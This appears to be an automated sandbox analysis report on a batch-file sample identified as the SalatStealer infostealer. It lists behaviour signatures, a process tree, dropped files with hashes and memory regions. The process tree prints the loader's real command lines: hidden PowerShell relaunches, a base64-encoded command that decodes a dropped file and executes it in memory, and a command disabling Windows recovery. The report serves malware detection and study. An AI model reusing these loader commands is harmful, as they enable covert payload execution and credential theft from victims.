Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 03:51

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-eepyraws7m
  • SHA256 596e90fd609c8ef05be3c9311a8196b6844c7b2ea3c8d6b3a4b206c3fc027d4f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 14 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 19 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4100
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3208
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bfo31oe2\bfo31oe2.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5068
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2CF2.tmp" "c:\Users\Admin\AppData\Local\Temp\bfo31oe2\CSC79A7F2DC374E424CA4235FD83DF7FF29.TMP"
              6⤵
                PID:3012
            • C:\Users\Admin\AppData\Local\Temp\p_1a0c02d9-7fdb-492a-9b61-e2367e710111.exe
              "C:\Users\Admin\AppData\Local\Temp\p_1a0c02d9-7fdb-492a-9b61-e2367e710111.exe"
              5⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1116
              • C:\Users\Admin\AppData\Local\Temp\SecurityHealthSystray.exe
                C:\Users\Admin\AppData\Local\Temp\SecurityHealthSystray.exe
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1124
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4624
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:5048
                • C:\Program Files (x86)\Microsoft\Edge\Application\SecurityHealthSystray.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\SecurityHealthSystray.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:4940
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:4256
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:3440

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 850e68b37b3afb8a47ba2afec354dd494a703c35c701b5b1709b190b3c933532
              • MD5 SHA1 SHA512 TLSH

              RES2CF2.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES2CF2.tmp
              • Size 1KB
              • SHA256 2344d457bf11cab4bafb4f7153b5b4de7a0e86c6ca898dcd93c435bb53b33906
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_cvncycmx.2on.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cvncycmx.2on.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              bfo31oe2.dll

              • Path C:\Users\Admin\AppData\Local\Temp\bfo31oe2\bfo31oe2.dll
              • Size 5KB
              • SHA256 4002b5caa477177cbc3655c0be6354b6af740500a7bc5d6a5d7c871dac8ea2ad
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 410KB
              • SHA256 dbdcaea8e48078f5a16e704995f895cb56dacf7913bbed74afd6e135031de286
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_1a0c02d9-7fdb-492a-9b61-e2367e710111.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_1a0c02d9-7fdb-492a-9b61-e2367e710111.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSC79A7F2DC374E424CA4235FD83DF7FF29.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\bfo31oe2\CSC79A7F2DC374E424CA4235FD83DF7FF29.TMP
              • Size 652B
              • SHA256 264034b7f04c17ed6afdafadb6f6306d9e4e0836f667dbbaed363480bcbb1e32
              • MD5 SHA1 SHA512 TLSH

              bfo31oe2.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\bfo31oe2\bfo31oe2.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              bfo31oe2.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\bfo31oe2\bfo31oe2.cmdline
              • Size 369B
              • SHA256 175bb3612def17e4066a32ee1b20000ade4290fe003c3c5378eb0a70e75372ff
              • MD5 SHA1 SHA512 TLSH

              memory/1116-874-0x0000000000730000-0x0000000001385000-memory.dmp

              memory/1116-863-0x0000000000730000-0x0000000001385000-memory.dmp

              memory/1116-867-0x0000000000730000-0x0000000001385000-memory.dmp

              memory/1116-868-0x0000000000730000-0x0000000001385000-memory.dmp

              memory/1124-928-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-876-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-877-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-878-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-924-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-925-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-926-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-927-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-929-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-930-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-931-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/1124-932-0x0000000000590000-0x00000000011E5000-memory.dmp

              memory/3208-831-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-827-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-851-0x0000027842130000-0x0000027842138000-memory.dmp

              memory/3208-836-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-835-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-847-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-832-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-853-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-854-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-833-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-842-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-865-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-829-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-820-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/3208-821-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-15-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-18-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-17-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-3-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-1-0x0000024CCE180000-0x0000024CCE1A2000-memory.dmp

              memory/4100-9-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-10-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-11-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-12-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-13-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4100-0-0x00007FFF3BE8F000-0x00007FFF3BE90000-memory.dmp

              memory/4100-14-0x00007FFF3BD00000-0x00007FFF3C6A4000-memory.dmp

              memory/4624-897-0x0000000005D60000-0x0000000005DAC000-memory.dmp

              memory/4624-916-0x0000000007780000-0x00000000077A2000-memory.dmp

              memory/4624-901-0x0000000007100000-0x0000000007136000-memory.dmp

              memory/4624-902-0x0000000070240000-0x000000007028C000-memory.dmp

              memory/4624-903-0x00000000704E0000-0x000000007083B000-memory.dmp

              memory/4624-911-0x0000000007160000-0x0000000007203000-memory.dmp

              memory/4624-910-0x0000000007140000-0x0000000007160000-memory.dmp

              memory/4624-912-0x00000000078D0000-0x0000000007F4C000-memory.dmp

              memory/4624-913-0x0000000007290000-0x00000000072AA000-memory.dmp

              memory/4624-914-0x00000000072F0000-0x00000000072FA000-memory.dmp

              memory/4624-915-0x00000000073A0000-0x0000000007436000-memory.dmp

              memory/4624-900-0x0000000006CA0000-0x0000000006CE8000-memory.dmp

              memory/4624-917-0x0000000008510000-0x0000000008ACA000-memory.dmp

              memory/4624-879-0x0000000002480000-0x00000000024B6000-memory.dmp

              memory/4624-880-0x00000000051D0000-0x000000000581A000-memory.dmp

              memory/4624-895-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

              memory/4624-890-0x0000000005820000-0x0000000005B7B000-memory.dmp

              memory/4624-881-0x0000000004ED0000-0x0000000004EF2000-memory.dmp

              memory/4624-883-0x0000000005110000-0x0000000005176000-memory.dmp

              memory/4624-882-0x0000000004F70000-0x0000000004FD6000-memory.dmp

              memory/4940-898-0x0000000000AE0000-0x0000000001735000-memory.dmp

              memory/4940-899-0x0000000000AE0000-0x0000000001735000-memory.dmp